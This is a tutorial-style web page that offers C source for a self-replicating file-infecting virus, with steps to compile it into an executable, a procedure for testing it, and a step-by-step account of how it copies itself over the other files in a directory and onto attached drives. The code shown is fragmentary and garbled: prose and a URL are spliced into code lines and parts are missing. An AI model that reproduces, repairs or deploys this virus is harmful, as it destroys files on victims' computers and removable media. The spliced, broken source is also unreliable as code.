WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.
Programming Virus : This is an small program virus that written in C language. The main purpose of this virus is spreading itself. When this program is executed it's start creating a copy of itself. This program infect all the other files of that directory in which it's executing. Thus, it destroy all other files by infecting them.
The best part of this program is that infected files will also become a virus. So, when the infected files will execute they also infect other files. In very short amount of time. This virus infect whole the computer files/folder and other devices that attached with that (such as pen drive, flash drive etc).
Steps to create this code to exe file.
- Firstly, Open the ide or compiler (such as Turbo c or CodeBlocks).
- Then copy the below codes on the new file and save with name virus.c.
- compile the program.
- That&s it.
Now your virus is ready.
#include<dir.h>Thus, it destroy all other files by infecting them.
unsigned long x;
struct ffblk ffblk;
done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*)
if(host==NULL) goto next; x=89088;https://www.gohacking.com/create-computer-virus/
printf("DONE! (Total Files Infected= %d)",a);
printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK);
To testing your Virus
- Create a folder.
- Copy virus file and some other files for testing.
- Now, Execute the virus in this folder.
- After testing virus delete the folder.
- That's all…
Working of Virus Program
The algorithm of the virus how its work to infect the files.
Step 1 –> Firstly, search the complete files in the current directory. If finds more than one files is present. Then loading the first file.
Step 2 –> Load the copy of itself(virus) onto the memory.
Step 3 –> After loading itself then open the first(target) file. Start copying the virus code from the memory and pasting it in the target file. When the copying process is finished close the file and move to the next file.
Step 4 –> Same way as the first file start loading the other files in the current directory to infect. Move to the step-3.
Step 5 –> After infecting all the files of the directory. Unload them from the memory and exit.